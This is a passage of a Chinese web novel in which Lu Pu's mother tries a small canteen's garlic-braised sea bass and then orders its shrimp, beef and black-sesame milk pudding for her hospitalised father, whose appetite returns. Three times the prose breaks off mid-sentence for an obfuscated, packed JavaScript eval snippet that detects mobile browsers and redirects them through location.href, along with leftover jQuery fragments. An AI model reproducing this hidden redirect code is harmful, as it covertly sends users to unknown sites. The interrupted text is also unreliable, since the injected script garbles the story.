小食堂盒饭超乎分量的足，两个女生吃绰绰有余。加份饭，三个女生也可填饱肚子。 桌上的残渣收拾干净，路瀑摆摆手。“不行，我也吃饱了。” “要不，我带回去给我妈吃。”鬼使神差间，路瀑想起了她在医院忙上忙下的妈。 “可以可以，阿姨肯定忙到吃不上饭。” “这个蛋先给她填填肚子。” 钟芜西和思漾纷纷赞同。思漾干脆扯张纸包住蛋塞进路瀑口袋。“体温捂着，阿姨吃到嘴还是热的。” “哈哈哈。” 几人笑成一团，路瀑带蛋上了一下午的课，直到放学推开家门。 她妈摊在沙发，胳膊盖住眼睛，小声打呼噜。路瀑轻手轻脚掩上门，老旧的门不受控制发出嘎吱的声响。 沙发上的人立马睁开眼，双手揉了揉脸，声音疲惫。“回来了。” “想吃什么？我给你做。” 路瀑吓一跳，包带上的娃娃尴尬地晃晃。 “水煮蛋。”她自然吐出三个字。路瀑妈诧异看向她，“你不是嫌蛋黄噎嗓子吗？” “不是。”路瀑嘴巴打结，努力纠正过来。“妈，我带了水煮蛋给你吃。你先吃个垫垫肚子，休息会。” 现学现用，路瀑原封不动把思漾的话搬过来，然后从口袋掏出一个卫生纸包裹严实的蛋。 路瀑妈瞥了眼，“吃不完了？” 路瀑：…… 瞧她那心虚的表情，路瀑妈知道自己猜中了。不过她肚子确实饿了，路瀑妈抓过蛋，掀开上面的卫生纸，一口塞掉一半。 金黄的年轮露出，磨碎的蛋黄蛋白混合物丝滑流入喉咙。路瀑妈诧异举起水煮蛋，“哪买的？蛋蒸得不错。你外公咬得动，我明天买点给他带过去。摔了腿，多补充蛋白质。” “学校后面那家小食堂。她们家菜单不固定，明天不一定有水煮蛋。” 路瀑妈浑不在意。 多出点钱订就是，有哪个老板会和钱过不去。 路瀑妈说完，风风火火收拾包，拉住路瀑出门了。 “唉唉唉，妈，去哪？”娃娃原地转个圈，嗖一下飞出去。 路瀑妈大步走在前，“快点，去你说的那小食堂吃饭。要是味道不错，干净卫生。我打包几份带到医院去。” “医院来回一趟我都累了，哪有精力给他做饭。外公那嘴你也知道，挑得很。费劲心力给他炖锅汤，他吃一口就不吃了。倒是我，累个半死不活。” 路瀑讪讪地笑，说不出一句反驳的话。 外公年纪上来了，味觉和正常人不一样。她们吃刚刚好，外公觉得味道淡了。正常偏咸的食物，对得上他的味蕾，他牙齿的功能又跟不上。 导致做饭的时候，要单独给他准备一份。 可问题又来了，特餐他老人家不吃，非要和她们吃一个碗里的菜。 此题，无解。 路瀑被妈妈拉出几百米，忽然想起件事，脚刹启动，她反把她妈逼停。“妈、妈，小食堂晚上不营业。” 上次她们几个是走了狗屎运，碰上老板蒸了一大锅包子，才在晚上搓了一顿。正常情况下，晚上小食堂没饭吃。 “不营业？”路瀑妈抬起的脚顿了顿，随后找准方向迈出去。高跟鞋在地板上踩出节奏的咚咚声。 “不营业我去找她试菜。你外公起码得在医院住上半个月，趁现在有时间，我要把他吃饭的事情搞定。” “不然，他没饭吃，你也没饭吃，我更吃不好。” 路瀑妈有自己的节奏，路瀑踩着她的咚咚，一路跟到安家小食堂。 好巧，她又来了。 路瀑望着熟悉的“安家小食堂”招牌心想。 路瀑妈没她那么多弯弯绕绕的心理活动，她推开玻璃门，大步跨进去，扬声喊：“老板——” 中午的鲈鱼安珀留了一条整的，她准备焗着吃。一条鱼加上剩饭，姐俩的晚餐就这么随便对付一口。 鱼骨两边划上长长的一刀，两扇鱼肉均匀划上花刀。调配好的葱姜汁抹上鱼身，然后慢慢没过鱼，让它全身泡在葱姜汁里。 鲈鱼腌制的空隙，拨过几粒蒜放在案板上，刀背狠狠一拍。 蒜粒扁扁的趴在案板，青黄的汁液蜿蜒流出，蒜分子腾起一大片。 “哎对，蒜就得这么拍才对味。” 声音冷不丁沿着透明围挡的空隙钻进来，安珀猛地抬头。 一个染了棕色波波头，穿了大片花裙子的中年女人，凑在透明围挡前，盯着她备菜。 “老板，做什么呢？能不能多做几份让我试试。老板？” 透明围挡的隔音太好，安珀在里面看着中年女人的嘴巴一张一合，只有老板两个字反复钻进她耳朵。 安珀脱下围裙，洗干净手，从后厨门出来。 “老板，我想试试你的鱼。”中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16912206|189098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年女人又提了一遍，显然她在透明围挡前看了许久。 “晚上不营业。”安珀皱皱眉，话却是看着路瀑说的。 她记得她和这个女生解释过，怎么又挑在晚餐的点来了。 “营业时间是上午十一点到下午两点。”安珀再强调一遍。 “我知道。”路瀑妈理理手上的包。“我想先试个菜，然后明天开始订餐。你这里能不能每天煮几个蛋？价格好说。” 路瀑妈将她爸骨折的事情从头到尾说了遍。 安珀懂了。 但她不可能将晚餐仅有的一条鱼让出去，更加不可能每天单独煮蛋。 “要不，您明天再来试菜。快十一点的时候，菜基本出了。”安珀给出了个更加准确的时间。 “不行。”路瀑妈想也不想直接拒绝。开什么玩笑，拖一天她就得给她爸做饭。 “明天要去送饭，十一点多吃完哪来得及。”路瀑妈退了一步。“我试试姜蒜的味道，你在鱼里多放点配菜。” 路瀑捂住脸，简直不想承认这个盯上配菜的女人是她妈。 安珀愣住，艰难扯出个笑答应下来。人家话说到这个份上，她似乎没有拒绝的余地。 她其实能理解路瀑妈。安栗住院的时候，附近的餐馆真是又贵又难吃。要不是当时的钱全部得用来给安栗治腿，她真想在边上租个房子，自己做饭。 “边上有水。”安珀提醒一声，便返回后厨继续做鱼。 砰砰砰—— 后厨持续响起砸东西的声音。刀背起刀背落，圆润的姜蒜通通变成蓉。 安珀将它们扒拉进一个碗里，上面的空隙撒上满满的豆豉。 热油时不时爆出一个滋啦声，安珀大手笔浇在豆豉上。 刺啦刺啦—— 油泡泡挤成一堆，破裂、破裂又破裂。 豆豉在高温的激发下，臭臭的味席卷后厨。姜蒜刺激的香紧随其后，将后厨闹了个天翻地覆。 小部分不老实的香气，跑出后厨。肆无忌惮在用餐的地方窜来窜去。 路瀑妈鼻尖动动，抿一口水止住唾液。“挺香的。” 趴在桌子上的路瀑立刻抬起头，“妈，小食堂的饭挺好吃的，我中午刚吃过。难不成你不相信我。” 两人依旧坐在“罚一百倍”的标语下，路瀑妈伸长脖子往后厨探探。 “你小孩子口味，吃啥都是美味。你大姨还在医院照顾，我不得给她带点。” 路瀑砰地趴回去，像条无力的咸鱼。 她懂了，她妈纯粹是面子作祟。外公吃啥都说不好吃，但大姨说不好吃的东西一定不好吃。 为了不在大姨面前落下风，她妈这鱼是试定了。 前后耽误了这么久，鱼也腌好了。 浇上一圈油，安珀把蒜粒铺满锅底。火力足足的，油很快泛起泡泡，围着蒜粒滋啦滋啦的。 熟蒜香飘出，贴近锅底一侧的蒜粒烫上褐色的焦疤。一种更为成熟的香气盖过熟蒜香，锅气隐隐悬浮在上空。 时机正好，安珀将一整条鲈鱼平铺在蒜粒上。 42. 第 42 章 热油烫过的豆豉酱均匀铺在两扇花刀，米酒沿着锅边浇上一圈。 呲呲呲—— 通红的锅边遇到冷酒，立即燎起白雾。 米酒的甜香瞬间扑出来，安珀拿个盖子把甜香压回锅里。 咕嘟咕嘟—— 咕嘟咕嘟—— 蒜粒自带的水分被煎出来，褐色的酱汁起起伏伏。顶上鱼腹，又噗地泄气消下去。反反复复，透明的鱼肉蒸腾成雪白，雪白的鱼肉已然被浸成褐色，紧实不已。 安珀估算着时间，掀开盖在面上撒上一些小米椒和葱圈。 鱼肉的鲜气又添了点辣香。 另一个灶的铁板热得正好。安珀一手关火，一手小心将鱼肉倒进去。 刺啦—— 汤汁四溅。歇了一会的汤汁再度翻滚，鲈鱼的香气透过铁板，多往外飘了几米。 这一下，可把外面的路瀑妈馋到坐立难安。 她噌一下蹿到透明围挡前，眼巴巴盯着刺啦刺啦翻滚的豆豉焗鲈鱼。 视线实在是过于刺背。安珀不喜欢她吃饭，别人在边上哗啦哗啦流口水。想了想，安珀轻轻夹下一块花刀，搁在半碗的蒜粒上。 连铁板带碗，安珀一起端出了后厨。 隔着铁板，滋啦声不太明显。安珀出来后，和她们并排坐，中间就隔了条过道。 路瀑妈第一次恨自己的听力如此灵敏，滋啦滋啦酱汁飞溅，鱼肉噗噗的声音非常明显。 看着碗里的一小块鱼肉。 她有点后悔，她应该再不要脸一点。说不定可以上桌和老板一起吃了。 路瀑压根没感受到她妈纠结的心情，拿起筷子对准鱼肉。 碗唰地偏离位置。 筷子停滞半空，路瀑懵懵抬起头。 碗已经被她妈包在怀里，察觉到她的视线，她妈露出个慈祥的笑。 “乖女儿，你中午吃过了。这块留给妈吃。” 路瀑：？？？ 她也没吃过焗鲈鱼啊！ 路瀑妈才不管她吃没吃过，夹起仅有一个的小鲈鱼块塞嘴里。 鱼肉软嫩，在嘴里碎成蒜末大小的块块。相比于清蒸的鲈鱼，焗出来的鱼肉更加紧实，蒜味豆豉的微臭仿佛是鱼肉自带的香气。 小米辣只在上面点缀一圈，浓烈的辣味早已沾上鱼肉。 微辣带香，酱汁咸香恰到好处，让人欲罢不能。 可惜路瀑妈只有一块。她咂巴咂巴残存的鱼鲜，转而将筷子伸向多多的大蒜粒。 对面的路瀑早已吃了起来，一口一个，却是没听见一点咀嚼声。 路瀑妈学着她的迪拜吃法。 大蒜粒刚入口，路瀑妈直接惊了。 作为锅里最底层的部分，大蒜粒吸取了焗鲈鱼的精华。 鱼汁滴在酱汁，又被焗进蒜粒。蒸气升腾，蒜粒内里早已蒸得软烂，外面那层壳却是焦焦脆脆。 尤其它还在铁板上滚了一遭，焦脆的外壳均匀分布在蒜粒四周。 咸鲜，熟蒜香一齐在口腔爆发。 不是吃鱼却胜似吃鱼。 路瀑妈一口一个，根本停不下来。眼见碗里的蒜粒越来越少，她直接一拖，碗立刻消失在路瀑视线。 “乖女儿，妈先吃。妈吃饱了才有力气给你做饭。” 路瀑：……好有道理，她压根无法反驳。 几粒蒜最终进入路瀑妈嘴里，她慢慢咀嚼，小口抿上一点水。 “老板，明天的餐我订四份。”尝到味道，路瀑妈什么质疑都没了，大手笔下了四单。“老板，接下来半个月我都在你家吃。” 路瀑也在喝水，冲淡嘴里的蒜味。听到她妈下单的声音，她立马蹦出来。 “妈，明天不用订我的。”路瀑不好意思笑笑。“我找西西一起订了。” * 打通了学校的外卖通道后，安家小食堂的业务量更大了。业务量大也有好处，摊贩能送货上门，省了她不少时间。 安珀正好抓紧这段时间来备菜。 “老板，牛肉、虾、豆腐、黑芝麻都送到了。你点点。” 三轮车拖了大批菜停在店门口，安珀上前帮着搬下来。牛肉温热，弹性十足。鲜虾在水里活蹦乱跳，溅出的水自带腥味。不用特意凑近，黄豆的清香主动飘到鼻子。 食材的新鲜度安珀很满意，她没挑什么直接把账结了。 其他的食材先放到一边，安珀就着店外地势宽敞，先把虾线剃了。 单手捏着虾头下方一点点，牙签对准横穿过去，向上一挑。一根黑黑的线从壳里跑出来。 水底下涮涮，洗掉表面的杂质。鲜虾哐当一声被安珀扔进另一个不锈钢盆，在里头蛄蛹抽搐。 一戳、一挑，安珀手速加快。几分钟而已，手上多了几十条虾命，盆里填满一半。 “哎呦，安珀你这要挑到什么时候去？” 熟悉的口头在背后响起，安珀头也没抬，轻声喊：“秦婶。” 三步并作两步，秦婶快步缩短两人的距离。她也不见外，拿起一旁的牙签，就地蹲着帮安珀挑虾线。 “安珀，我听小栗说店里的外卖单挺多。你看，我能不能送一点。配送费按你们的来，一块一份。” “这不是最近闲了。我寻思找点事做。” 安珀挑虾线的速度减缓，“秦婶，安栗她们的外卖全部要送班里，你进不去的。” 安珀没说行，也没说不行。直接将事实摆在秦婶面前。 “不是嘞。”秦婶哐哐扔进几个虾。“你秦叔那边的装修队，总是要吃饭。到哪吃不是吃，还不如给你做点生意。我送过去，他们省点在路上的时间，多休息会。我顺带挣点零花钱。” “还有村里那些出门费力的老人，我连着带一点。四块，隔三岔五打打牙祭，他们也出得起。” 秦婶这是自己打通了销售渠道，只等产品到位，她就能开卖了。 安珀看着快填满的不锈钢盆，又看看另一堆不见下滑的虾山。 第一次认真考虑，她是不是该招个人了？ “行，秦婶你先拿点出去试试。” 装修队区域总代理秦婶正式上线。秦婶上任的第一件事就是把老板赶回厨房。 “安珀，你快去忙别的。虾我来挑。” 确实一双手不够使，安珀没和秦婶客气，洗把手拎着牛肉进后厨。 牛肉分成巴掌大的块，然后举起刀剁。 砰砰砰—— 刀在案板上剁出数道交错的横线，牛肉黏黏的沾在案板，随着刀的起落带起红色的沫。 安珀把牛肉泥刮到盆里，上色三件套腌制，再来点油封层。 腌制的时间里，安珀双手齐开。一锅烧水烫萝卜菜，一锅开小火炒黑芝麻。 咕嘟咕嘟—— 歘歘歘—— 萝卜菜在水里浮浮沉沉，绿叶的颜色更加 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16915984|189098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 青翠。另一个锅里，黑芝麻沙沙作响，热气噗噗吹向上空。 安珀的额头布满密汗，与之一起的还有黑芝麻的香气。 烘焙熟成的坚果香，油脂丰富。 水分炒干后，安珀收手了。 舀出小部分放进破壁机，加上糯米和冰糖打成米糊。 做完这些前置准备，萝卜菜正正好到了出锅的时机。 通通把它们捞到案板，安珀随便整理下，对准一头开始铡。 唰唰唰—— 蔬菜的清香散发，萝卜菜成了青翠的沫，一层一层压在案板。 安珀省事，将它们赶到纱布，左右手反方向用力，像拧衣服一样。 吱的一声。 绿汁哗啦啦泻下，掀开纱布一瞧，青菜沫紧巴巴抱在一起，蔫哒哒的。 后厨充满机器吱吱运作的声音，水分炒干的黑芝麻先行磨成糊，萝卜菜也在布黑芝麻的后尘，进一步炒干水分。 歘 青菜汁接触到烧红的锅面，剧烈在边缘泛起白泡，独属于蔬菜的青气和白泡一起蒸发。 四周划拉几下，萝卜菜完完整整铺满锅面，底部不断传来滋啦滋啦的烘烤声。 扔上几勺盐，给萝卜菜入个底味。 状态不错，安珀把菜沫刮到一边，舀上大勺猪油贴近锅底。 猪油像冰淇淋，迅速融化。凹陷的底部，汇聚了一滩清亮的油。 萝卜菜扑棱扑棱盖在上面，猪油瞬间被吸收，躲在菜里消失不见，仅仅闻见属于猪油的肉香。 干辣椒撒在表面，利用热气烘熟。 萝卜菜倒出来放一边备用，安珀重新在锅里浇上满满的油。红椒圈和蒜末加进去，油线立刻升高。 刺啦刺啦炸东西的声音一直停留在耳边。 锅铲来回翻炒几下，过油的红椒颜色更加显眼，白烟呼呼跑出来，辣椒呛人的气味夹在其中，不断刺激鼻粘膜，安珀侧过身，连番打几个喷嚏。 安珀赶紧哐哐倒入牛肉。 大量的肉压在上面，辣椒的刺啦声闷闷的，辣味也无处可跑。 迅速将牛肉滑散。几秒而已，牛肉变色、蜷缩，熟度刚刚好。 安珀抓起锅往萝卜菜上倒。 捞菜牛肉完成。 按照正常做法，此时萝卜菜应该待在烧热的砂锅，滋啦滋啦卷曲，在底部留下一圈焦疤。牛肉香混着辣味幽幽飘，锅气十足。 不过打包的盒饭没这条件，安珀便省了这一步。 捞菜牛肉做好，破壁机的黑芝麻糊也研磨完毕。 安珀将它们全数倒入长盆，浓稠黑色的糊糊丝滑流出，黑芝麻的香气最大程度飘散，甜香伴随左右。 抖抖盆，安珀把黑芝麻糊怼平整，搁到一边等它出油膜。 时间还有，安珀拿出材料，预备做上层的奶。 蛋清加上细砂糖搅打成细密的泡泡。 牛奶和炼乳混合均匀，通通混进蛋清。 奶白黏稠的液体过上几遍筛。肉眼可见气泡少了，牛奶愈加丝滑细腻。 此时，黑芝麻糊的油膜刚好析出，牛奶缓慢铺满上层。 一层一层的牛奶倒进去，黑灰的底色被遮掩，独独留下一片白。 一旁的蒸笼嗤嗤冒出蒸气，黑芝麻炖奶用保鲜膜包好，扎几个洞，上锅蒸15分钟。 “安珀，虾给你搬进来？” 弄完这些，秦婶的虾也挑好了。 43. 第 43 章 安珀和秦婶抬着不锈钢盆进后厨。 抓起一把虾，安珀一只只给虾开背。 脊背位置划上一刀，轻微的咔嚓声出现在刀下，虾壳断裂，透明的虾肉分开两瓣。 秦婶没走，津津有味在旁边看着安珀开背。 一划、一拉，一只虾处理好了。 角落的捞菜牛肉散着肉香，秦婶视线被吸引过去。“哎呦，捞菜牛肉啊！这菜拌饭最好吃。装修队那些人肯定喜欢。” “秦婶，你是行家，会吃。”安珀笑笑，开背的速度加快。 秦婶被夸得不好意思抹把鼻子，“安珀，我来帮你打包。待会该赶不上了。” 她一提醒，安珀猛然抬头看向钟，十点出头。再过个几十分钟，打包去医院的女人该来了。 估算了下手头的工作量，安珀点点头。“秦婶，你来。” “唉。”秦婶应一声，学着安珀平常打包的样子，将一次性盒铺在桌面，捞菜牛肉搁在旁边，一勺一格，流水线作业。 另一边，安珀接连往锅里倒上几桶油。 油温急剧上升，空气扭曲。安珀伸出筷子探探，小泡泡自动吸附在筷子周边，小范围滋啦滋啦着。 温度正好。 开背的虾吸干水分，哐哐倒进油锅。 刺啦—— 油锅瞬间沸腾，虾顿时通红。身子自动卷曲，开背的肉鼓胀，越过壳突出来。锅铲抄底晃晃，抖抖，虾壳互相摩擦，酥脆的声音钻入耳朵。 在里面炸个几分钟，安珀迅速将虾捞出，搁在一边沥油。 锅里留底油，泡过的干椒段和花椒炒出香气，洋葱、蒜、大葱紧随其后。 锅铲翻动，配料的香气混合均匀。 麻麻辣辣，甜滋滋的。 大虾的油沥得差不多，安珀将它们盖进锅里，抓住锅边缘，抡起锅一顿翻炒。 深红的干椒和大虾在空中转个圈，又噗通回到锅里。 火舌放肆燎烫，麻辣呛鼻的味道抓紧时机火爆出道。锅底仅有的一点料汁，在猛火不遗余力的烤干下，悉数收进虾里。 转个几圈，锅也干了，虾也酥了。 安珀顺势朝边上一倒，虾肉酥酥堆在保温盒，红的紫的穿插其中，点缀增香的白芝麻和葱花洒在表面。 这边刚出餐，秦婶眼疾手快端虾出去打包。 一刻不歇，安珀往铁锅浇上几圈炸虾的油。沾粉的豆腐块斜斜贴在锅面。 少许油阻隔在豆腐和铁锅之间，滋滋滋烘烤一面。 几分钟后，白嫩的豆腐变得焦黄，铲子触碰到边缘，发出酥脆的咔嚓。 这面火候到位，安珀抄底整面翻过来，同样煎上个几分钟。 大豆的清香一点一点煎出，炸过虾的油，虾香早已融进里面。在豆腐的滋啦滋啦中，奇异的和大豆香混在一起。 时间到了，两面焦黄。沿着边缘，安珀将生抽、酱油、糖混合的酱汁浇下去。 嗤—— 酱汁刚触及到锅面，一部分水分迅速蒸发，剩余的聪明裹上豆腐，从大小不一的孔洞钻入。 豆腐的焦色加深。 咕嘟咕嘟 大火没减弱酱汁的分量，锅内的水仿佛变多了。 豆腐开始出水了。 安珀没管，反手拿起淀粉水浇浇。 透白的汁液马上融入酱汁，带着酱汁一起黏稠。 这下，大火咕嘟出一个个闷实的大泡。 等到酱汁浅浅铺满锅底，安珀立马将煎豆腐倒出，随意在上面洒上一把葱花。 热气蒸腾，葱花紧贴豆腐表面，被高温的热气穿透，葱香四溢。 安珀先把煎豆腐端到保温台，而后折返将焖好的黑芝麻糊炖奶淋上一层桂花酱，同样搁到保温台上。 盒饭的虾还没装完，安珀接着她打过的餐盒，往里面装豆腐。 “老板，3份餐打包带走。” 女声传入店内，安珀麻利舀上3份炖奶单独装好，让这位急客带走。 路瀑妈自带一个保温盒，抓起3份餐摆进去，急匆匆跑了，一句寒暄都没来的及说。 安家小食堂离医院大概有四十分钟的车程。临近中午，车又开始堵起来。 路瀑妈紧赶慢赶卡在一个小时的死线，把餐送到病房。 人刚在病房露出个头，她姐那尖锐的大嗓门开始追着杀。 “我说妹啊，小瀑学校都搬到山沟沟了，附近能有什么好吃的。你看看现在几点了？要是在医院边上点几个菜，我和爸都吃完了。” “爸那嘴你不是不知道。吃医院周边的，吃什么？看着你吃吗？” “提个意见，值得你上纲上线。”路瀑大姨撇撇嘴，自然和稀泥。“快点，中午吃什么？我肚子饿了。” 路瀑妈翻个白眼，径直擦过她姐，把盒饭端出来。 “爸，起来。吃饭了。” 路瀑妈冲着病床上的老人大喊，老人不紧不慢翻过身，背对她。 “不吃，没胃口。”声音嗡嗡，老爷子紧闭眼。 “他不吃，我吃。”路瀑大姨扑上来，抢走一盒盒饭。“半夜爬起来偷吃泡面有胃口，摔了腿又没胃口了？” 她的话语毫不避讳，直直朝老爷子心上戳。 老爷子一动不动，仿佛没听到。 咕噜噜—— 路瀑妈肚子持续打鼓。她摸摸空瘪的肚子，心想先吃饭，待会再来弄她爸。 不知道今天小食堂吃什么菜，上次的焗鲈鱼她回去想了一晚上。 “妹啊，菜色挺好的。哦豁，还有虾，你这是下血本了。”路瀑大姨的大嗓门率先揭露菜色。 路瀑妈挺喜欢吃虾的。闻言，她赶紧掀开盖子。 卷曲的大虾整整齐齐排在格子，缝隙间落了点干椒和洋葱。捞菜牛肉维持着出锅的模样，下层是青翠的萝卜菜，上面满满当当铺满红椒牛肉碎。酱色辣香，闻着口水就下来了。 偏小的格子装了清爽可口的煎豆腐。 “这是个啥？我怎么没见过。”路瀑妈循声看过去，她姐正端着小碗翻来覆去地看。 桂花酱丝滑地在牛奶磨砂面流动，腻人的甜香慢悠悠钻入鼻孔。 路瀑妈恍然想起刷到过这小甜品的视频，好像是——“黑芝麻糊炖奶。” 解答的声音及时传到，路瀑大姨抬起眼皮，咚地把小盒往桌上一搁。“甜的啊！我血糖高，吃不了。” “你放着，我带回去下午垫垫肚子。” 姐妹俩一来一回交流，完全忽视了背后的老父亲。 桂花香顺着微风，悄悄跑到病床跳舞。 老爷子猛然睁开眼，精神坐起。鼻尖自然的耸动，像只狗四处嗅闻。 桌上的黑芝麻糊炖奶不停散发香气，老爷子目光定住，伸出皱巴干瘦的手端起炖奶，照着上面就是一口。 软嫩的芝麻糊顿时出现个牙印。 老爷子嘴巴嘬嘬，桂花馥郁的香气率先攻入鼻腔，浓厚的牛奶味紧随其后，却丝毫没有尝到呕人的奶腥。 黑芝麻糊殿后，丝滑绵密，舌尖留下点点甜，像在吃冰淇淋。没几秒，苦味反上来，味蕾一激灵。老爷子眯起眼，有点爱上苦甜交织的感觉。 “垫什么肚子，这是我的夜宵。”老爷子突然插进姐妹俩之间的交谈，直把她们唬了一跳。“给我来个勺子，盒饭也给我端上来，我要吃饭了。” 气氛有一瞬间的空 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16918360|189098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 滞，姐妹俩眼神疯狂发射。 老爷子等了几秒没见她们有任何动作，中气十足大喊：“我饿了，我要吃饭。” 姐妹俩仿佛从梦中惊醒，摇床的摇床，架桌的架桌。 盒饭早已掀开搁在桌上，老爷子的筷子在几道菜之间游移，最终他夹起一小撮牛肉，在嘴里瘪瘪。 “爸，牛肉是发物。伤口没好，不能吃。”路瀑妈出声阻止他，扭眼又看见啃了一小块的炖奶。“炖奶你也吃不了。你血糖高。” “我是病人，你是病人？尽带些不能吃的来。那你告诉我，我该吃什么？”单腿屈起，老爷子筷子敲在碗边。 巡过几个菜，路瀑妈忽然意识到小食堂今天的菜单不适合病人吃。 “不如，吃点豆腐。”路瀑妈好半会憋出几个字。 “水了吧唧没味的玩意，要吃你吃，我不要。”果不其然，老爷子对着她就是一顿喷。 病房里只能听见老爷子的骂人声。 路瀑大姨扯扯路瀑妈的袖子，轻摇头示意她别管。 深吸口气，坐在床边，路瀑妈机械扒了几口饭。 好巧不巧，她吃了一口挨喷的牛肉。 牛肉沫有嚼劲，奶香十足。辣味反复炒进肉里，多嚼几下就能尝到牛肉透出的辣底味。 辣椒甜甜的。本该清甜的萝卜菜却换了另一种风味。 嘎吱嘎吱 萝卜菜艮啾啾、脆脆的，干椒混在一起提供辣味的来源。萝卜菜本身是干炒，仅有一点猪油香。因此，牛肉多余的油就便宜了它。 垫在牛肉下面的萝卜菜最好吃。 吸饱了牛肉的油脂，有牛肉的香气。两者夹在一起吃，油脂被匀了下。不腻，肉菜香满满。 “这虾不错，虾线也给去掉了。老板是个干净人。”路瀑大姨把整颗虾塞嘴里，连虾头也没放过。 咔嚓—— 路瀑妈清楚听到虾壳破裂的声音，她甚至能想象到虾壳在嘴里簌簌掉粉。齿间稍稍划过虾头，上面的虾须不堪重负落下。 脑补的画面馋得路瀑妈不行，她赶紧塞一只虾压压嘴里的馋。 咔嚓咔嚓，酥脆的咀嚼声回到了她嘴里。如她所料，大虾在油里过了一圈，外壳连带虾头酥酥脆脆。 内里的虾肉却是弹牙。 一下一下，虾肉在齿间磨成一团肉泥。麻辣鲜香从里面透出，瞬间把她的嘴烫到麻麻的。 路瀑妈翻来覆去在里面找了找，对面的路瀑大姨也在做同样的事。 “妹啊，你说这虾金灿灿一个，也没汁。怎么辣得我上嘴唇麻？” 路瀑妈想了想，得出唯一的答案。“汁被虾吸进肉里了。” 路瀑大姨接连发出几个感叹词。“厨师厉害。” 是厉害！路瀑妈又想起吃过的焗鲈鱼。 同样是没什么汁，一个蒜香入骨，一个麻辣进肉。她吃了一口还想吃，麻到嘴唇无知觉，呼出的气带着火烧。 意识到不能再无限吃下去，路瀑妈舀一勺炖奶换换口味。 唔，芝麻糊丝滑无比。上层的牛奶一抿就碎，混着黑芝麻糊一起滑进喉咙。奶香，烘焙过的油脂香，压过麻辣的痛觉，在口腔占据上风。 路瀑妈有点明白她爸为什么咬一口炖奶胃口就来了。 真材实料，每一口都能尝到食材的本味。 她偷偷瞥过视线。 病床上她爸手撕虾球，吃得开开心心，一点也看不出是没胃口。 而且吃货有自己的一套办法。牙齿不好，就用手撕一点虾肉，放进嘴里抿抿。 没一会被辣到，他就吃上一口炖奶压压。 来来回回，香辣大虾和黑芝麻糊炖奶都少了不少。 44. 第 44 章 呼噜噜—— 呼噜噜—— 父女三人沉浸式扒饭，病房内只有他们的咀嚼声。 其余病人好奇瞅过来，立马被各种饭香熏了一脸。 “孙老头，你们在吃什么？哪买的？我叫我崽给我带上来。”一个看起来路瀑外公年纪差不多的胖老头，拄拐一瘸一拐凑近。 “满崽给我买的。老林，不是我吹，味道真好。她们俩经常说我味觉不正常。哪有不正常，好东西我肯定吃得出。她俩厨艺不行反过来倒打一耙。” 路瀑妈和大姨互相对视，讪讪一笑。 老林咚咚靠近，眼珠子直勾勾黏在盒饭上不放，克制吞了两下口水。 “孙老头，你告诉我哪家店买的。不然给我试试味也成。”路瀑外公叽里呱啦一大堆，老林全然没听见，脑子里只有一个想法：我要吃！ 路瀑外公卡住，瞅瞅碗底的汤汁，他递出餐盒。“试试豆腐，你血糖不低吃这个最好了。” “行，吃完饭咱俩一起下棋。”老林不客气一屁股压在病床，筷子倒过来夹起一片豆腐。 吱吱—— 鲜咸的酱汁崩出，老林没准备好，喷了满嘴。他赶忙掏出纸巾接住。 豆腐的汤汁已经过了烫嘴的时期，一下飚溅到舌尖，留下的只有豆腐的清香。 小葱满满沾在表面，对于老林这种喜欢葱的人来说简直是一种享受。 “好吃。”老林竖起大拇指。“我再吃一块。” “你吃。”路瀑外公再把盒饭往他的方向推推。 老林满口又塞了一块。这次，口感不同了。 先前被汁液遮掩的豆腐脆皮明显触及舌尖。一下子，老林觉察出脆皮的妙处。 脆皮之下，豆腐的孔洞更多，鲜咸的汁液更容易溅出。 老林咂巴咂巴嘴，一块豆腐从嘴里消失。 “再吃一块。” 路瀑外公摆摆手，连话都懒得说了。 老林筷子伸得很快。这回，豆腐只在嘴边沾沾，马上又跌落碗里。 “爸，你在吃什么？”老林儿子鬼魅般闪现他身后，板张脸。“外面的快餐调料太多，你肾不好，少吃点盐。” “别吃了。我妈做了饭。” 为了证明他的话，老林儿子当场把保温桶打开。老林扭过头瞅瞅。 水唧唧的清炒油麦，没几块辣椒的炒肉以及清淡如水的海带排骨汤。最底下一层则是各色粗粮蒸在一起的杂粮饭。 从开始到现在，老林对饭的兴趣像是逐渐打满的气球。被他儿子一扎，噗一下炸了。 “崽啊，豆腐没什么味道，清淡得很。我再吃几块成不？”老林摸摸挺起的肚子。“你看看。自从住到医院里面，我肚子瘦了一圈。吃个豆腐补补怎么了？” “你要是心疼你爹，就去店里买份一样的，给你爹换换口味。” 